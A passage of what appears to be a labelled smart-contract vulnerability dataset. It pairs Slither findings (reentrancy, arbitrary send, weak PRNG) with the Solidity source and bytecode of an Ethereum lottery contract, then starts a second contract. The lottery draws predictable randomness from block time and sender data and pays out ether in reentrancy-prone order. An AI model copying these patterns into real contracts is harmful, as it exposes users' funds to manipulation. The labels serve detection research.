{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,313 |
0xedbe509e65f7425016265a049941311497c0099c
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier notOwner() {
require(msg.sender != owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Resume();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to resume, returns to normal state
*/
function resume() onlyOwner whenPaused public {
paused = false;
emit Resume();
}
}
contract LuckyYouTokenInterface {
function airDrop(address _to, uint256 _value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
}
contract LuckyYouContract is Pausable {
using SafeMath for uint256;
LuckyYouTokenInterface public luckyYouToken = LuckyYouTokenInterface(0x6D7efEB3DF42e6075fa7Cf04E278d2D69e26a623); //LKY token address
bool public airDrop = true;// weather airdrop LKY tokens to participants or not,owner can set it to true or false;
//set airDrop flag
function setAirDrop(bool _airDrop) public onlyOwner {
airDrop = _airDrop;
}
//if airdrop LKY token to participants , this is airdrop rate per round depends on participated times, owner can set it
uint public baseTokenGetRate = 100;
// set token get rate
function setBaseTokenGetRate(uint _baseTokenGetRate) public onlyOwner {
baseTokenGetRate = _baseTokenGetRate;
}
//if the number of participants less than minParticipants,game will not be fired.owner can set it
uint public minParticipants = 50;
function setMinParticipants(uint _minParticipants) public onlyOwner {
minParticipants = _minParticipants;
}
//base price ,owner can set it
uint public basePrice = 0.01 ether;
function setBasePrice(uint _basePrice) public onlyOwner {
basePrice = _basePrice;
}
uint[5] public times = [1, 5, 5 * 5, 5 * 5 * 5, 5 * 5 * 5 * 5];//1x=0.01 ether;5x=0.05 ether; 5*5x=0.25 ether; 5*5*5x=1.25 ether; 5*5*5*5x=6.25 ether;
//at first only enable 1x(0.02ether) ,enable others proper time in future
bool[5] public timesEnabled = [true, false, false, false, false];
uint[5] public currentCounter = [1, 1, 1, 1, 1];
mapping(address => uint[5]) public participatedCounter;
mapping(uint8 => address[]) private participants;
//todo
mapping(uint8 => uint256) public participantsCount;
mapping(uint8 => uint256) public fundShareLastRound;
mapping(uint8 => uint256) public fundCurrentRound;
mapping(uint8 => uint256) public fundShareRemainLastRound;
mapping(uint8 => uint256) public fundShareParticipantsTotalTokensLastRound;
mapping(uint8 => uint256) public fundShareParticipantsTotalTokensCurrentRound;
mapping(uint8 => bytes32) private participantsHashes;
mapping(uint8 => uint8) private lastFiredStep;
mapping(uint8 => address) public lastWinner;
mapping(uint8 => address) public lastFiredWinner;
mapping(uint8 => uint256) public lastWinnerReward;
mapping(uint8 => uint256) public lastFiredWinnerReward;
mapping(uint8 => uint256) public lastFiredFund;
mapping(address => uint256) public whitelist;
uint256 public notInWhitelistAllow = 1;
bytes32 private commonHash = 0x1000;
uint256 public randomNumberIncome = 0;
event Winner1(address value, uint times, uint counter, uint256 reward);
event Winner2(address value, uint times, uint counter, uint256 reward);
function setNotInWhitelistAllow(uint _value) public onlyOwner
{
notInWhitelistAllow = _value;
}
function setWhitelist(uint _value,address [] _addresses) public onlyOwner
{
uint256 count = _addresses.length;
for (uint256 i = 0; i < count; i++) {
whitelist[_addresses [i]] = _value;
}
}
function setTimesEnabled(uint8 _timesIndex, bool _enabled) public onlyOwner
{
require(_timesIndex < timesEnabled.length);
timesEnabled[_timesIndex] = _enabled;
}
function() public payable whenNotPaused {
if(whitelist[msg.sender] | notInWhitelistAllow > 0)
{
uint8 _times_length = uint8(times.length);
uint8 _times = _times_length + 1;
for (uint32 i = 0; i < _times_length; i++)
{
if (timesEnabled[i])
{
if (times[i] * basePrice == msg.value) {
_times = uint8(i);
break;
}
}
}
if (_times > _times_length) {
revert();
}
else
{
if (participatedCounter[msg.sender][_times] < currentCounter[_times])
{
participatedCounter[msg.sender][_times] = currentCounter[_times];
if (airDrop)
{
uint256 _value = baseTokenGetRate * 10 ** 18 * times[_times];
uint256 _plus_value = uint256(keccak256(now, msg.sender)) % _value;
luckyYouToken.airDrop(msg.sender, _value + _plus_value);
}
uint256 senderBalance = luckyYouToken.balanceOf(msg.sender);
if (lastFiredStep[_times] > 0)
{
issueLottery(_times);
fundShareParticipantsTotalTokensCurrentRound[_times] += senderBalance;
senderBalance = senderBalance.mul(2);
} else
{
fundShareParticipantsTotalTokensCurrentRound[_times] += senderBalance;
}
if (participantsCount[_times] == participants[_times].length)
{
participants[_times].length += 1;
}
participants[_times][participantsCount[_times]++] = msg.sender;
participantsHashes[_times] = keccak256(msg.sender, uint256(commonHash));
commonHash = keccak256(senderBalance,commonHash);
fundCurrentRound[_times] += times[_times] * basePrice;
//share last round fund
if (fundShareRemainLastRound[_times] > 0)
{
uint256 _shareFund = fundShareLastRound[_times].mul(senderBalance).div(fundShareParticipantsTotalTokensLastRound[_times]);
if(_shareFund > 0)
{
if (_shareFund <= fundShareRemainLastRound[_times]) {
fundShareRemainLastRound[_times] -= _shareFund;
msg.sender.transfer(_shareFund);
} else {
uint256 _fundShareRemain = fundShareRemainLastRound[_times];
fundShareRemainLastRound[_times] = 0;
msg.sender.transfer(_fundShareRemain);
}
}
}
if (participantsCount[_times] > minParticipants)
{
if (uint256(keccak256(now, msg.sender, commonHash)) % (minParticipants * minParticipants) < minParticipants)
{
fireLottery(_times);
}
}
} else
{
revert();
}
}
}else{
revert();
}
}
function issueLottery(uint8 _times) private {
uint256 _totalFundRate = lastFiredFund[_times].div(100);
if (lastFiredStep[_times] == 1) {
fundShareLastRound[_times] = _totalFundRate.mul(30) + fundShareRemainLastRound[_times];
if (randomNumberIncome > 0)
{
if (_times == (times.length - 1) || timesEnabled[_times + 1] == false)
{
fundShareLastRound[_times] += randomNumberIncome;
randomNumberIncome = 0;
}
}
fundShareRemainLastRound[_times] = fundShareLastRound[_times];
fundShareParticipantsTotalTokensLastRound[_times] = fundShareParticipantsTotalTokensCurrentRound[_times];
fundShareParticipantsTotalTokensCurrentRound[_times] = 0;
if(fundShareParticipantsTotalTokensLastRound[_times] == 0)
{
fundShareParticipantsTotalTokensLastRound[_times] = 10000 * 10 ** 18;
}
lastFiredStep[_times]++;
} else if (lastFiredStep[_times] == 2) {
lastWinner[_times].transfer(_totalFundRate.mul(65));
lastFiredStep[_times]++;
lastWinnerReward[_times] = _totalFundRate.mul(65);
emit Winner1(lastWinner[_times], _times, currentCounter[_times] - 1, _totalFundRate.mul(65));
} else if (lastFiredStep[_times] == 3) {
if (lastFiredFund[_times] > (_totalFundRate.mul(30) + _totalFundRate.mul(4) + _totalFundRate.mul(65)))
{
owner.transfer(lastFiredFund[_times] - _totalFundRate.mul(30) - _totalFundRate.mul(4) - _totalFundRate.mul(65));
}
lastFiredStep[_times] = 0;
}
}
function fireLottery(uint8 _times) private {
lastFiredFund[_times] = fundCurrentRound[_times];
fundCurrentRound[_times] = 0;
lastWinner[_times] = participants[_times][uint256(participantsHashes[_times]) % participantsCount[_times]];
participantsCount[_times] = 0;
uint256 winner2Reward = lastFiredFund[_times].div(100).mul(4);
msg.sender.transfer(winner2Reward);
lastFiredWinner[_times] = msg.sender;
lastFiredWinnerReward[_times] = winner2Reward;
emit Winner2(msg.sender, _times, currentCounter[_times], winner2Reward);
lastFiredStep[_times] = 1;
currentCounter[_times]++;
}
function _getRandomNumber(uint _round) view private returns (uint256){
return uint256(keccak256(
participantsHashes[0],
participantsHashes[1],
participantsHashes[2],
participantsHashes[3],
participantsHashes[4],
msg.sender
)) % _round;
}
function getRandomNumber(uint _round) public payable returns (uint256){
uint256 tokenBalance = luckyYouToken.balanceOf(msg.sender);
if (tokenBalance >= 100000 * 10 ** 18)
{
return _getRandomNumber(_round);
} else if (msg.value >= basePrice) {
randomNumberIncome += msg.value;
return _getRandomNumber(_round);
} else {
revert();
return 0;
}
}
//in case some bugs
function kill() public {//for test
if (msg.sender == owner)
{
selfdestruct(owner);
}
}
}
|
0x6080604052600436106101cd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063046f7da214610b5c57806306881fd114610b73578063072e8d3214610ba05780630b2392f514610be157806320982bce14610c2557806326d738ba14610c665780633fe1371214610caa57806341c0e1b514610cef5780634490a4e214610d065780634fe50bc614610d4a5780635c975abb14610d755780635d20887214610da4578063697fd39e14610de05780637f5a285a14610e0b57806383084b3f14610e365780638456cb5914610e635780638da5cb5b14610e7a5780639577208714610ed15780639aa18e4e14610f415780639b19251a14610f85578063a2368e1114610fdc578063a54cd4f71461100b578063a783503b14611036578063b16aee4714611097578063b37217a4146110db578063c41518f21461110f578063c7876ea414611166578063ca5d088014611191578063de4b3262146111c0578063ded67a98146111ed578063e26608f114611231578063e49cde7714611275578063e6331d65146112e5578063ec3d45e814611329578063f2fde38b14611356578063f38e1a5114611399578063f583fff5146113dd575b600080600080600080600080600060149054906101000a900460ff161515156101f557600080fd5b6000602054601f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054171115610b4d5760059750600188019650600095505b8760ff168663ffffffff1610156102c957600a8663ffffffff1660058110151561027657fe5b602091828204019190069054906101000a900460ff16156102bc573460045460058863ffffffff166005811015156102aa57fe5b01540214156102bb578596506102c9565b5b8580600101965050610250565b8760ff168760ff1611156102dc57600080fd5b600b8760ff166005811015156102ee57fe5b0154601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208860ff1660058110151561033f57fe5b01541015610b4357600b8760ff1660058110151561035957fe5b0154601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208860ff166005811015156103aa57fe5b0181905550600160149054906101000a900460ff16156105565760058760ff166005811015156103d657fe5b0154670de0b6b3a764000060025402029450844233604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390206001900481151561044f57fe5b069350600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663045f7850338688016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561051957600080fd5b505af115801561052d573d6000803e3d6000fd5b505050506040513d602081101561054357600080fd5b8101908080519060200190929190505050505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561061357600080fd5b505af1158015610627573d6000803e3d6000fd5b505050506040513d602081101561063d57600080fd5b810190808051906020019092919050505092506000601960008960ff1660ff16815260200190815260200160002060009054906101000a900460ff1660ff1611156106cd5761068b8761144d565b82601760008960ff1660ff168152602001908152602001600020600082825401925050819055506106c6600284611a5790919063ffffffff16565b92506106f5565b82601760008960ff1660ff168152602001908152602001600020600082825401925050819055505b601160008860ff1660ff16815260200190815260200160002080549050601260008960ff1660ff168152602001908152602001600020541415610763576001601160008960ff1660ff1681526020019081526020016000208181805490500191508161076191906129d1565b505b33601160008960ff1660ff168152602001908152602001600020601260008a60ff1660ff1681526020019081526020016000206000815480929190600101919050558154811015156107b157fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360215460019004604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001925050506040518091039020601860008960ff1660ff1681526020019081526020016000208160001916905550826021546040518083815260200182600019166000191681526020019250505060405180910390206021816000191690555060045460058860ff166005811015156108c057fe5b015402601460008960ff1660ff168152602001908152602001600020600082825401925050819055506000601560008960ff1660ff168152602001908152602001600020541115610a8757610962601660008960ff1660ff1681526020019081526020016000205461095485601360008c60ff1660ff16815260200190815260200160002054611a5790919063ffffffff16565b611a9290919063ffffffff16565b91506000821115610a8657601560008860ff1660ff1681526020019081526020016000205482111515610a025781601560008960ff1660ff168152602001908152602001600020600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156109fc573d6000803e3d6000fd5b50610a85565b601560008860ff1660ff1681526020019081526020016000205490506000601560008960ff1660ff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a83573d6000803e3d6000fd5b505b5b5b600354601260008960ff1660ff168152602001908152602001600020541115610b3e57600354600354600354024233602154604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140182600019166000191681526020019350505050604051809103902060019004811515610b2c57fe5b061015610b3d57610b3c87611aad565b5b5b610b48565b600080fd5b610b52565b600080fd5b5050505050505050005b348015610b6857600080fd5b50610b71611df7565b005b348015610b7f57600080fd5b50610b9e60048036038101908080359060200190929190505050611eb5565b005b348015610bac57600080fd5b50610bcb60048036038101908080359060200190929190505050611f1a565b6040518082815260200191505060405180910390f35b348015610bed57600080fd5b50610c0f600480360381019080803560ff169060200190929190505050611f34565b6040518082815260200191505060405180910390f35b348015610c3157600080fd5b50610c5060048036038101908080359060200190929190505050611f4c565b6040518082815260200191505060405180910390f35b348015610c7257600080fd5b50610c94600480360381019080803560ff169060200190929190505050611f66565b6040518082815260200191505060405180910390f35b348015610cb657600080fd5b50610cd560048036038101908080359060200190929190505050611f7e565b604051808215151515815260200191505060405180910390f35b348015610cfb57600080fd5b50610d04611fa7565b005b348015610d1257600080fd5b50610d34600480360381019080803560ff169060200190929190505050612038565b6040518082815260200191505060405180910390f35b348015610d5657600080fd5b50610d5f612050565b6040518082815260200191505060405180910390f35b348015610d8157600080fd5b50610d8a612056565b604051808215151515815260200191505060405180910390f35b348015610db057600080fd5b50610dde600480360381019080803560ff169060200190929190803515159060200190929190505050612069565b005b348015610dec57600080fd5b50610df561210c565b6040518082815260200191505060405180910390f35b348015610e1757600080fd5b50610e20612112565b6040518082815260200191505060405180910390f35b348015610e4257600080fd5b50610e6160048036038101908080359060200190929190505050612118565b005b348015610e6f57600080fd5b50610e7861217d565b005b348015610e8657600080fd5b50610e8f61223d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610edd57600080fd5b50610eff600480360381019080803560ff169060200190929190505050612262565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f4d57600080fd5b50610f6f600480360381019080803560ff169060200190929190505050612295565b6040518082815260200191505060405180910390f35b348015610f9157600080fd5b50610fc6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122ad565b6040518082815260200191505060405180910390f35b348015610fe857600080fd5b506110096004803603810190808035151590602001909291905050506122c5565b005b34801561101757600080fd5b5061102061233d565b6040518082815260200191505060405180910390f35b34801561104257600080fd5b50611081600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612343565b6040518082815260200191505060405180910390f35b3480156110a357600080fd5b506110c5600480360381019080803560ff16906020019092919050505061236a565b6040518082815260200191505060405180910390f35b6110f960048036038101908080359060200190929190505050612382565b6040518082815260200191505060405180910390f35b34801561111b57600080fd5b506111246124d8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561117257600080fd5b5061117b6124fe565b6040518082815260200191505060405180910390f35b34801561119d57600080fd5b506111a6612504565b604051808215151515815260200191505060405180910390f35b3480156111cc57600080fd5b506111eb60048036038101908080359060200190929190505050612517565b005b3480156111f957600080fd5b5061121b600480360381019080803560ff16906020019092919050505061257c565b6040518082815260200191505060405180910390f35b34801561123d57600080fd5b5061125f600480360381019080803560ff169060200190929190505050612594565b6040518082815260200191505060405180910390f35b34801561128157600080fd5b506112e360048036038101908080359060200190929190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506125ac565b005b3480156112f157600080fd5b50611313600480360381019080803560ff169060200190929190505050612689565b6040518082815260200191505060405180910390f35b34801561133557600080fd5b50611354600480360381019080803590602001909291905050506126a1565b005b34801561136257600080fd5b50611397600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612706565b005b3480156113a557600080fd5b506113c7600480360381019080803560ff16906020019092919050505061285b565b6040518082815260200191505060405180910390f35b3480156113e957600080fd5b5061140b600480360381019080803560ff169060200190929190505050612873565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600061147c6064601e60008560ff1660ff16815260200190815260200160002054611a9290919063ffffffff16565b90506001601960008460ff1660ff16815260200190815260200160002060009054906101000a900460ff1660ff1614156116a857601560008360ff1660ff168152602001908152602001600020546114de601e83611a5790919063ffffffff16565b01601360008460ff1660ff16815260200190815260200160002081905550600060225411156115825760016005038260ff16148061154a575060001515600a6001840160ff1660058110151561153057fe5b602091828204019190069054906101000a900460ff161515145b1561158157602254601360008460ff1660ff1681526020019081526020016000206000828254019250508190555060006022819055505b5b601360008360ff1660ff16815260200190815260200160002054601560008460ff1660ff16815260200190815260200160002081905550601760008360ff1660ff16815260200190815260200160002054601660008460ff1660ff168152602001908152602001600020819055506000601760008460ff1660ff168152602001908152602001600020819055506000601660008460ff1660ff16815260200190815260200160002054141561165a5769021e19e0c9bab2400000601660008460ff1660ff168152602001908152602001600020819055505b601960008360ff1660ff168152602001908152602001600020600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff16021790555050611a53565b6002601960008460ff1660ff16815260200190815260200160002060009054906101000a900460ff1660ff1614156118cc57601a60008360ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611741604184611a5790919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561176c573d6000803e3d6000fd5b50601960008360ff1660ff168152602001908152602001600020600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff160217905550506117ca604182611a5790919063ffffffff16565b601c60008460ff1660ff168152602001908152602001600020819055507f0e7116fa1d74fdd345c2ca3828d2a04f37937e4e367b0a1d5165dcc3bc42e5d8601a60008460ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836001600b8660ff1660058110151561185757fe5b01540361186e604186611a5790919063ffffffff16565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018460ff16815260200183815260200182815260200194505050505060405180910390a1611a52565b6003601960008460ff1660ff16815260200190815260200160002060009054906101000a900460ff1660ff161415611a5157611912604182611a5790919063ffffffff16565b611926600483611a5790919063ffffffff16565b61193a601e84611a5790919063ffffffff16565b0101601e60008460ff1660ff168152602001908152602001600020541115611a1d576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119ab604184611a5790919063ffffffff16565b6119bf600485611a5790919063ffffffff16565b6119d3601e86611a5790919063ffffffff16565b601e60008860ff1660ff168152602001908152602001600020540303039081150290604051600060405180830381858888f19350505050158015611a1b573d6000803e3d6000fd5b505b6000601960008460ff1660ff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505b5b5b5050565b6000806000841415611a6c5760009150611a8b565b8284029050828482811515611a7d57fe5b04141515611a8757fe5b8091505b5092915050565b6000808284811515611aa057fe5b0490508091505092915050565b6000601460008360ff1660ff16815260200190815260200160002054601e60008460ff1660ff168152602001908152602001600020819055506000601460008460ff1660ff16815260200190815260200160002081905550601160008360ff1660ff168152602001908152602001600020601260008460ff1660ff16815260200190815260200160002054601860008560ff1660ff1681526020019081526020016000205460019004811515611b5f57fe5b06815481101515611b6c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601a60008460ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601260008460ff1660ff16815260200190815260200160002081905550611c4d6004611c3f6064601e60008760ff1660ff16815260200190815260200160002054611a9290919063ffffffff16565b611a5790919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c95573d6000803e3d6000fd5b5033601b60008460ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601d60008460ff1660ff168152602001908152602001600020819055507f1b39c07bfa47b5085d858389a6e2b5c99ed696a977f235230b78bc963ff52f153383600b8560ff16600581101515611d4157fe5b015484604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018460ff16815260200183815260200182815260200194505050505060405180910390a16001601960008460ff1660ff16815260200190815260200160002060006101000a81548160ff021916908360ff160217905550600b8260ff16600581101515611de257fe5b01600081548092919060010191905055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e5257600080fd5b600060149054906101000a900460ff161515611e6d57600080fd5b60008060146101000a81548160ff0219169083151502179055507f490d6d11e278f168be9be39e46297f72ea877136d5bccad9cf4993e63a29568f60405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f1057600080fd5b8060028190555050565b600b81600581101515611f2957fe5b016000915090505481565b60126020528060005260406000206000915090505481565b600581600581101515611f5b57fe5b016000915090505481565b601c6020528060005260406000206000915090505481565b600a81600581101515611f8d57fe5b60209182820401919006915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415612036576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b565b60156020528060005260406000206000915090505481565b60025481565b600060149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120c457600080fd5b60058260ff161015156120d657600080fd5b80600a8360ff166005811015156120e957fe5b602091828204019190066101000a81548160ff0219169083151502179055505050565b60225481565b60205481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561217357600080fd5b8060208190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121d857600080fd5b600060149054906101000a900460ff161515156121f457600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60166020528060005260406000206000915090505481565b601f6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561232057600080fd5b80600160146101000a81548160ff02191690831515021790555050565b60035481565b60106020528160005260406000208160058110151561235e57fe5b01600091509150505481565b60146020528060005260406000206000915090505481565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561244257600080fd5b505af1158015612456573d6000803e3d6000fd5b505050506040513d602081101561246c57600080fd5b8101908080519060200190929190505050905069152d02c7e14af6800000811015156124a25761249b836128a6565b91506124d2565b600454341015156124cd57346022600082825401925050819055506124c6836128a6565b91506124d2565b600080fd5b50919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b600160149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561257257600080fd5b8060048190555050565b60136020528060005260406000206000915090505481565b601e6020528060005260406000206000915090505481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561260a57600080fd5b82519150600090505b818110156126835783601f6000858481518110151561262e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080600101915050612613565b50505050565b601d6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126fc57600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561276157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561279d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60176020528060005260406000206000915090505481565b601b6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081601860008060ff1681526020019081526020016000205460186000600160ff1681526020019081526020016000205460186000600260ff1681526020019081526020016000205460186000600360ff1681526020019081526020016000205460186000600460ff168152602001908152602001600020543360405180876000191660001916815260200186600019166000191681526020018560001916600019168152602001846000191660001916815260200183600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140196505050505050506040518091039020600190048115156129c957fe5b069050919050565b8154818355818111156129f8578183600052602060002091820191016129f791906129fd565b5b505050565b612a1f91905b80821115612a1b576000816000905550600101612a03565b5090565b905600a165627a7a72305820b3904ae27200c4c7783cd5f7cef3bb94ad165aba4a5ac37822ffdff91ec178be0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,314 |
0xfac9aacd2cfed30dc5e7b0ca4f99a59200eda182
|
/**
*Submitted for verification at Etherscan.io on 2022-03-30
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-27
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
